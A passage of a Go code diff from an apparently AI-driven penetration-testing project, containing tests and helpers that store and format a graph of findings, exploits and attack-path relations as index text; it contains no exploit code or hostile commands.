{EdgeType: "depends_on", SourceFactKey: "target/b"},
|
||||||
|
})
|
||||||
|
want := "leads_to: finding/a\ndepends_on: target/b"
|
||||||
|
if text != want {
|
||||||
|
t.Fatalf("got %q want %q", text, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseFactLinkInputsEmptyClears(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
parsed, err := ParseFactLinkInputs([]interface{}{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if parsed == nil || parsed.Incoming == nil || len(parsed.Incoming) != 0 {
|
||||||
|
t.Fatalf("empty array should clear incoming links, got %v", parsed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseFactLinkInputsFrom(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
raw := []interface{}{
|
||||||
|
map[string]interface{}{
|
||||||
|
"from": "target/primary_domain",
|
||||||
|
"type": "discovered_on",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
parsed, err := ParseFactLinkInputs(raw)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(parsed.Incoming) != 1 || parsed.Incoming[0].From != "target/primary_domain" {
|
||||||
|
t.Fatalf("unexpected incoming: %+v", parsed.Incoming)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseFactLinkInputsRequiresFrom(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
raw := []interface{}{
|
||||||
|
map[string]interface{}{
|
||||||
|
"to": "target/primary_domain",
|
||||||
|
"type": "discovered_on",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
_, err := ParseFactLinkInputs(raw)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error when from is missing")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGraphNodeType(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if GraphNodeType("chain", "chain/x") != "chain" {
|
||||||
|
t.Fatal("chain category")
|
||||||
|
}
|
||||||
|
if GraphNodeType("finding", "finding/x") != "finding" {
|
||||||
|
t.Fatal("finding category")
|
||||||
|
}
|
||||||
|
if GraphNodeType("exploit", "exploit/x") != "exploit" {
|
||||||
|
t.Fatal("exploit category")
|
||||||
|
}
|
||||||
|
if GraphNodeType("finding", "evidence/x") != "finding" {
|
||||||
|
t.Fatal("category should override evidence key prefix")
|
||||||
|
}
|
||||||
|
if GraphNodeType("note", "target/x") != "note" {
|
||||||
|
t.Fatal("category should override target key prefix")
|
||||||
|
}
|
||||||
|
if GraphNodeType("vuln", "finding/x") != "vulnerability" {
|
||||||
|
t.Fatal("vuln category maps to vulnerability node type")
|
||||||
|
}
|
||||||
|
if GraphNodeType("", "target/x") != "target" {
|
||||||
|
t.Fatal("empty category falls back to target key prefix")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildProjectFactGraphPreservesStoredEdgeDirection(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
db, err := database.NewDB(filepath.Join(dir, "test.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p, err := db.CreateProject(&database.Project{Name: "path-edges"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, spec := range []struct{ key, cat string }{
|
||||||
|
{"target/primary_domain", "target"},
|
||||||
|
{"chain/full_attack_path", "chain"},
|
||||||
|
{"finding/mysql_public", "finding"},
|
||||||
|
{"exploit/mysql_creds_extract", "exploit"},
|
||||||
|
} {
|
||||||
|
if _, err := db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: p.ID, FactKey: spec.key, Category: spec.cat, Summary: spec.key, Confidence: "confirmed",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "finding/mysql_public", []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "target/primary_domain", Type: "discovered_on"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "finding/mysql_public", []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "target/primary_domain", Type: "discovered_on"},
|
||||||
|
{From: "exploit/mysql_creds_extract", Type: "exploits"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "chain/full_attack_path", []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "target/primary_domain", Type: "discovered_on"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "exploit/mysql_creds_extract", []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "chain/full_attack_path", Type: "leads_to"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
graph, err := BuildProjectFactGraph(db, p.ID, "path", true)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
want := map[string]struct{}{
|
||||||
|
"target/primary_domain|discovered_on|finding/mysql_public": {},
|
||||||
|
"exploit/mysql_creds_extract|exploits|finding/mysql_public": {},
|
||||||
|
"target/primary_domain|discovered_on|chain/full_attack_path": {},
|
||||||
|
"chain/full_attack_path|leads_to|exploit/mysql_creds_extract": {},
|
||||||
|
}
|
||||||
|
for _, e := range graph.Edges {
|
||||||
|
key := e.Source + "|" + e.Type + "|" + e.Target
|
||||||
|
delete(want, key)
|
||||||
|
}
|
||||||
|
if len(want) > 0 {
|
||||||
|
t.Fatalf("missing expected stored-direction edges: %v", want)
|
||||||
|
}
|
||||||
|
countInOut := func(factKey string) (out, in int) {
|
||||||
|
for _, e := range graph.Edges {
|
||||||
|
if e.Source == factKey {
|
||||||
|
out++
|
||||||
|
}
|
||||||
|
if e.Target == factKey {
|
||||||
|
in++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, in
|
||||||
|
}
|
||||||
|
if out, in := countInOut("chain/full_attack_path"); out != 1 || in != 1 {
|
||||||
|
t.Fatalf("chain/full_attack_path want out=1 in=1 got out=%d in=%d", out, in)
|
||||||
|
}
|
||||||
|
if out, in := countInOut("exploit/mysql_creds_extract"); out != 1 || in != 1 {
|
||||||
|
t.Fatalf("exploit/mysql_creds_extract want out=1 in=1 got out=%d in=%d", out, in)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPersistFactLinksFromUsesFromAsIncoming(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
db, err := database.NewDB(filepath.Join(dir, "test.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p, err := db.CreateProject(&database.Project{Name: "from-links"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, spec := range []struct{ key, cat string }{
|
||||||
|
{"target/primary_domain", "target"},
|
||||||
|
{"finding/sqli", "finding"},
|
||||||
|
} {
|
||||||
|
if _, err := db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: p.ID, FactKey: spec.key, Category: spec.cat, Summary: spec.key, Confidence: "confirmed",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
parsed := &ParsedFactLinks{
|
||||||
|
Incoming: []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "target/primary_domain", Type: "discovered_on"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
if err := PersistFactLinksFromParsed(db, p.ID, "finding/sqli", "", parsed, false); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
graph, err := BuildProjectFactGraph(db, p.ID, "path", true)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
want := "target/primary_domain|discovered_on|finding/sqli"
|
||||||
|
for _, e := range graph.Edges {
|
||||||
|
key := e.Source + "|" + e.Type + "|" + e.Target
|
||||||
|
if key == want {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
t.Fatalf("expected edge %s, got %+v", want, graph.Edges)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatOutgoingLinksHint(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
hint := FormatOutgoingLinksHint([]*database.ProjectFactEdge{
|
||||||
|
{EdgeType: "discovered_on", TargetFactKey: "target/a"},
|
||||||
|
})
|
||||||
|
if hint == "" || hint[0] != ' ' {
|
||||||
|
t.Fatalf("unexpected hint: %q", hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestReplaceIncomingAllowsNotYetCreatedSource(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
db, err := database.NewDB(filepath.Join(dir, "test.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p, err := db.CreateProject(&database.Project{Name: "parallel-links"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: p.ID, FactKey: "exploit/sqli", Category: "exploit", Summary: "exploit", Confidence: "confirmed",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "exploit/sqli", []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "finding/sqli_endpoint", Type: "exploits"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("incoming edge should not require source fact to exist yet: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: p.ID, FactKey: "finding/sqli_endpoint", Category: "finding", Summary: "finding", Confidence: "confirmed",
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
in, err := db.ListIncomingProjectFactEdges(p.ID, "exploit/sqli")
|
||||||
|
if err != nil || len(in) != 1 || in[0].SourceFactKey != "finding/sqli_endpoint" {
|
||||||
|
t.Fatalf("expected persisted edge from finding, got %+v err=%v", in, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestValidateProjectFactEdgeType(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if err := database.ValidateProjectFactEdgeType("leads_to"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := database.ValidateProjectFactEdgeType("invalid"); err == nil {
|
||||||
|
t.Fatal("expected error")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,231 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
var factIndexEdgeTypeOrder = []string{
|
||||||
|
"discovered_on", "leads_to", "enables", "depends_on", "exploits", "contains", "part_of", "supports",
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterIndexEdges(edges []*database.ProjectFactEdge) []*database.ProjectFactEdge {
|
||||||
|
if len(edges) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]*database.ProjectFactEdge, 0, len(edges))
|
||||||
|
for _, e := range edges {
|
||||||
|
if e == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.EqualFold(strings.TrimSpace(e.Confidence), "deprecated") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
edgeType := strings.ToLower(strings.TrimSpace(e.EdgeType))
|
||||||
|
if _, ok := database.ValidProjectFactEdgeTypes[edgeType]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, e)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func edgeConfidenceSuffix(confidence string) string {
|
||||||
|
c := strings.ToLower(strings.TrimSpace(confidence))
|
||||||
|
if c == "" || c == "confirmed" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return " (" + c + ")"
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatRelationHintPart(e *database.ProjectFactEdge) string {
|
||||||
|
return fmt.Sprintf("%s←%s%s", e.EdgeType, e.SourceFactKey, edgeConfidenceSuffix(e.Confidence))
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatOutgoingHintPart(e *database.ProjectFactEdge) string {
|
||||||
|
return fmt.Sprintf("%s→%s%s", e.EdgeType, e.TargetFactKey, edgeConfidenceSuffix(e.Confidence))
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatIncomingHintPart(e *database.ProjectFactEdge) string {
|
||||||
|
return formatRelationHintPart(e)
|
||||||
|
}
|
||||||
|
|
||||||
|
func joinEdgeHintParts(edges []*database.ProjectFactEdge, formatter func(*database.ProjectFactEdge) string) string {
|
||||||
|
parts := make([]string, 0, len(edges))
|
||||||
|
for _, e := range edges {
|
||||||
|
parts = append(parts, formatter(e))
|
||||||
|
}
|
||||||
|
return strings.Join(parts, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatOutgoingLinksHint 黑板索引用出边摘要(全部有效边类型,不截断)。
|
||||||
|
func FormatOutgoingLinksHint(edges []*database.ProjectFactEdge) string {
|
||||||
|
edges = filterIndexEdges(edges)
|
||||||
|
if len(edges) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return " {出边: " + joinEdgeHintParts(edges, formatOutgoingHintPart) + "}"
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatIncomingLinksHint 黑板索引用入边摘要(全部有效边类型,不截断)。
|
||||||
|
func FormatIncomingLinksHint(edges []*database.ProjectFactEdge) string {
|
||||||
|
edges = filterIndexEdges(edges)
|
||||||
|
if len(edges) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return " {入边: " + joinEdgeHintParts(edges, formatIncomingHintPart) + "}"
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatFactIndexLinksHint 黑板索引行内关系边(from → 当前 fact,与 upsert links 一致)。
|
||||||
|
func FormatFactIndexLinksHint(_ string, incoming []*database.ProjectFactEdge) string {
|
||||||
|
in := filterIndexEdges(incoming)
|
||||||
|
if len(in) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return " {关系边: " + joinEdgeHintParts(in, formatRelationHintPart) + "}"
|
||||||
|
}
|
||||||
|
|
||||||
|
func indexEdgeGroupMaps(edges []*database.ProjectFactEdge) (outgoing, incoming map[string][]*database.ProjectFactEdge) {
|
||||||
|
outgoing = map[string][]*database.ProjectFactEdge{}
|
||||||
|
incoming = map[string][]*database.ProjectFactEdge{}
|
||||||
|
for _, e := range filterIndexEdges(edges) {
|
||||||
|
outgoing[e.SourceFactKey] = append(outgoing[e.SourceFactKey], e)
|
||||||
|
incoming[e.TargetFactKey] = append(incoming[e.TargetFactKey], e)
|
||||||
|
}
|
||||||
|
return outgoing, incoming
|
||||||
|
}
|
||||||
|
|
||||||
|
func relationOverviewLine(e *database.ProjectFactEdge) string {
|
||||||
|
return fmt.Sprintf("- %s → %s%s · %s", e.SourceFactKey, e.TargetFactKey, edgeConfidenceSuffix(e.Confidence), e.EdgeType)
|
||||||
|
}
|
||||||
|
|
||||||
|
func indexEdgeSortKey(e *database.ProjectFactEdge) (int, int, string) {
|
||||||
|
confRank := 0
|
||||||
|
if strings.EqualFold(strings.TrimSpace(e.Confidence), "tentative") {
|
||||||
|
confRank = 1
|
||||||
|
}
|
||||||
|
typeRank := len(factIndexEdgeTypeOrder) + 1
|
||||||
|
for i, t := range factIndexEdgeTypeOrder {
|
||||||
|
if strings.EqualFold(e.EdgeType, t) {
|
||||||
|
typeRank = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return confRank, typeRank, e.SourceFactKey + ">" + e.TargetFactKey + ">" + e.EdgeType
|
||||||
|
}
|
||||||
|
|
||||||
|
func sortIndexOverviewEdges(edges []*database.ProjectFactEdge) {
|
||||||
|
sort.SliceStable(edges, func(i, j int) bool {
|
||||||
|
ci, ti, ki := indexEdgeSortKey(edges[i])
|
||||||
|
cj, tj, kj := indexEdgeSortKey(edges[j])
|
||||||
|
if ci != cj {
|
||||||
|
return ci < cj
|
||||||
|
}
|
||||||
|
if ti != tj {
|
||||||
|
return ti < tj
|
||||||
|
}
|
||||||
|
return ki < kj
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildFactPathOverviewSection 生成事实关系速览(全部有效边类型,不含 body)。
|
||||||
|
func BuildFactPathOverviewSection(edges []*database.ProjectFactEdge, indexedKeys map[string]struct{}, maxRunes int) string {
|
||||||
|
if maxRunes <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
candidates := filterIndexEdges(edges)
|
||||||
|
if len(candidates) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
filtered := make([]*database.ProjectFactEdge, 0, len(candidates))
|
||||||
|
for _, e := range candidates {
|
||||||
|
if len(indexedKeys) > 0 {
|
||||||
|
if _, ok := indexedKeys[e.SourceFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := indexedKeys[e.TargetFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
filtered = append(filtered, e)
|
||||||
|
}
|
||||||
|
if len(filtered) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
sortIndexOverviewEdges(filtered)
|
||||||
|
|
||||||
|
header := "### 攻击路径(事实关系)\n"
|
||||||
|
header += "source → target · type(与攻击路径图/库中方向一致;写入时在目标 fact 的 links 用 from 声明来源)\n"
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(header)
|
||||||
|
used := len([]rune(header))
|
||||||
|
omitted := 0
|
||||||
|
|
||||||
|
for _, e := range filtered {
|
||||||
|
line := relationOverviewLine(e) + "\n"
|
||||||
|
lineRunes := len([]rune(line))
|
||||||
|
if used+lineRunes > maxRunes {
|
||||||
|
omitted++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
b.WriteString(line)
|
||||||
|
used += lineRunes
|
||||||
|
}
|
||||||
|
if omitted > 0 {
|
||||||
|
extra := fmt.Sprintf("(另有 %d 条关系边未列入,请 get_project_fact 查看完整关系。)\n", omitted)
|
||||||
|
if used+len([]rune(extra)) <= maxRunes {
|
||||||
|
b.WriteString(extra)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if used <= len([]rune(header)) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func factIndexSortPriority(f *database.ProjectFact) int {
|
||||||
|
if f == nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
score := 0
|
||||||
|
if f.Pinned {
|
||||||
|
score += 1000
|
||||||
|
}
|
||||||
|
c := strings.ToLower(strings.TrimSpace(f.Category))
|
||||||
|
switch c {
|
||||||
|
case FactCategoryTarget:
|
||||||
|
score += 400
|
||||||
|
case FactCategoryFinding, FactCategoryChain:
|
||||||
|
score += 300
|
||||||
|
case FactCategoryExploit, FactCategoryPOC:
|
||||||
|
score += 250
|
||||||
|
case "auth", "infra", "business":
|
||||||
|
score += 200
|
||||||
|
case "note":
|
||||||
|
score += 50
|
||||||
|
default:
|
||||||
|
key := strings.ToLower(strings.TrimSpace(f.FactKey))
|
||||||
|
if strings.HasPrefix(key, "target/") {
|
||||||
|
score += 400
|
||||||
|
} else if strings.HasPrefix(key, "finding/") || strings.HasPrefix(key, "chain/") {
|
||||||
|
score += 300
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.EqualFold(strings.TrimSpace(f.Confidence), "confirmed") {
|
||||||
|
score += 80
|
||||||
|
}
|
||||||
|
return score
|
||||||
|
}
|
||||||
|
|
||||||
|
func sortFactsForIndex(facts []*database.ProjectFact) {
|
||||||
|
sort.SliceStable(facts, func(i, j int) bool {
|
||||||
|
pi, pj := factIndexSortPriority(facts[i]), factIndexSortPriority(facts[j])
|
||||||
|
if pi != pj {
|
||||||
|
return pi > pj
|
||||||
|
}
|
||||||
|
return facts[i].UpdatedAt.After(facts[j].UpdatedAt)
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,161 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestFormatIncomingLinksHint(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
hint := FormatIncomingLinksHint([]*database.ProjectFactEdge{
|
||||||
|
{EdgeType: "discovered_on", SourceFactKey: "finding/x", Confidence: "tentative"},
|
||||||
|
})
|
||||||
|
if !strings.Contains(hint, "入边:") {
|
||||||
|
t.Fatalf("expected 入边 label: %q", hint)
|
||||||
|
}
|
||||||
|
if !strings.Contains(hint, "discovered_on←finding/x") {
|
||||||
|
t.Fatalf("unexpected hint: %q", hint)
|
||||||
|
}
|
||||||
|
if !strings.Contains(hint, "tentative") {
|
||||||
|
t.Fatalf("expected tentative in hint: %q", hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatIncomingLinksHint_allEdges(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
edges := make([]*database.ProjectFactEdge, 0, 5)
|
||||||
|
for i := 1; i <= 5; i++ {
|
||||||
|
edges = append(edges, &database.ProjectFactEdge{
|
||||||
|
EdgeType: "discovered_on",
|
||||||
|
SourceFactKey: fmt.Sprintf("finding/f%d", i),
|
||||||
|
Confidence: "tentative",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
hint := FormatIncomingLinksHint(edges)
|
||||||
|
if strings.Contains(hint, "+") {
|
||||||
|
t.Fatalf("should not truncate with +N: %q", hint)
|
||||||
|
}
|
||||||
|
for i := 1; i <= 5; i++ {
|
||||||
|
if !strings.Contains(hint, fmt.Sprintf("finding/f%d", i)) {
|
||||||
|
t.Fatalf("missing edge f%d in hint: %q", i, hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatFactIndexLinksHint_incomingOnly(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
in := []*database.ProjectFactEdge{
|
||||||
|
{EdgeType: "discovered_on", SourceFactKey: "target/dev", Confidence: "tentative"},
|
||||||
|
{EdgeType: "exploits", SourceFactKey: "exploit/rce", Confidence: "confirmed"},
|
||||||
|
}
|
||||||
|
hint := FormatFactIndexLinksHint("finding/sqli", in)
|
||||||
|
if !strings.Contains(hint, "关系边:") {
|
||||||
|
t.Fatalf("missing 关系边 label: %q", hint)
|
||||||
|
}
|
||||||
|
if !strings.Contains(hint, "discovered_on←target/dev") {
|
||||||
|
t.Fatalf("missing discovered_on: %q", hint)
|
||||||
|
}
|
||||||
|
if !strings.Contains(hint, "exploits←exploit/rce") {
|
||||||
|
t.Fatalf("missing exploits: %q", hint)
|
||||||
|
}
|
||||||
|
if strings.Contains(hint, "出边") || strings.Contains(hint, "入边") {
|
||||||
|
t.Fatalf("should not use legacy 出边/入边 labels: %q", hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatFactIndexLinksHint_includesAuxiliaryEdgeTypes(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
in := []*database.ProjectFactEdge{{EdgeType: "supports", SourceFactKey: "note/log"}}
|
||||||
|
hint := FormatFactIndexLinksHint("finding/x", in)
|
||||||
|
if !strings.Contains(hint, "supports←note/log") {
|
||||||
|
t.Fatalf("supports edge should be included: %q", hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildFactPathOverviewSection(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
edges := []*database.ProjectFactEdge{
|
||||||
|
{EdgeType: "discovered_on", SourceFactKey: "target/dev", TargetFactKey: "finding/sqli", Confidence: "tentative"},
|
||||||
|
{EdgeType: "exploits", SourceFactKey: "exploit/rce", TargetFactKey: "finding/sqli", Confidence: "confirmed"},
|
||||||
|
{EdgeType: "supports", SourceFactKey: "note/log", TargetFactKey: "finding/sqli"},
|
||||||
|
}
|
||||||
|
keys := map[string]struct{}{
|
||||||
|
"target/dev": {}, "finding/sqli": {}, "exploit/rce": {}, "note/log": {},
|
||||||
|
}
|
||||||
|
section := BuildFactPathOverviewSection(edges, keys, 800)
|
||||||
|
if !strings.Contains(section, "### 攻击路径(事实关系)") {
|
||||||
|
t.Fatalf("missing header: %q", section)
|
||||||
|
}
|
||||||
|
if !strings.Contains(section, "target/dev → finding/sqli") {
|
||||||
|
t.Fatalf("missing discovered_on line: %q", section)
|
||||||
|
}
|
||||||
|
if !strings.Contains(section, "exploit/rce → finding/sqli") {
|
||||||
|
t.Fatalf("missing exploits line: %q", section)
|
||||||
|
}
|
||||||
|
if !strings.Contains(section, "note/log → finding/sqli") {
|
||||||
|
t.Fatalf("supports edge should be included: %q", section)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildFactIndexBlock_withLinksAndPathOverview(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||||
|
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
proj, err := db.CreateProject(&database.Project{Name: "path-proj"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_, err = db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: "target/dev",
|
||||||
|
Category: "target",
|
||||||
|
Summary: "dev 子域",
|
||||||
|
Confidence: "confirmed",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_, err = db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: proj.ID,
|
||||||
|
FactKey: "finding/sqli",
|
||||||
|
Category: "finding",
|
||||||
|
Summary: "时间盲注",
|
||||||
|
Confidence: "tentative",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_, err = db.AddProjectFactEdge(proj.ID, database.ProjectFactEdgeInput{
|
||||||
|
To: "finding/sqli",
|
||||||
|
Type: "discovered_on",
|
||||||
|
}, "target/dev", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
block, err := BuildFactIndexBlock(db, proj.ID, config.ProjectConfig{Enabled: true, FactIndexMaxRunes: 6500, FactIndexPathMaxRunes: 1000})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "关系边: discovered_on←target/dev") {
|
||||||
|
t.Fatalf("finding line should include relation hint: %q", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "### 攻击路径(事实关系)") {
|
||||||
|
t.Fatalf("missing relation overview: %q", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, "target/dev → finding/sqli") {
|
||||||
|
t.Fatalf("missing overview edge: %q", block)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import "cyberstrike-ai/internal/projectprompt"
|
||||||
|
|
||||||
|
// FactRecordingIncrementalRhythmMarkdown 见 projectprompt。
|
||||||
|
func FactRecordingIncrementalRhythmMarkdown(coordinator, subAgent bool) string {
|
||||||
|
return projectprompt.FactRecordingIncrementalRhythmMarkdown(coordinator, subAgent)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FactRecordingBlackboardSection 见 projectprompt。
|
||||||
|
func FactRecordingBlackboardSection(coordinatorDelegate bool) string {
|
||||||
|
return projectprompt.FactRecordingBlackboardSection(coordinatorDelegate)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FactRecordingSubAgentSection 见 projectprompt。
|
||||||
|
func FactRecordingSubAgentSection() string {
|
||||||
|
return projectprompt.FactRecordingSubAgentSection()
|
||||||
|
}
|
||||||
|
|
||||||
|
// FactRecordingBlackboardSectionMarkdown 见 projectprompt。
|
||||||
|
func FactRecordingBlackboardSectionMarkdown(coordinatorDelegate bool) string {
|
||||||
|
return projectprompt.FactRecordingBlackboardSectionMarkdown(coordinatorDelegate)
|
||||||
|
}
|
||||||
@@ -0,0 +1,135 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
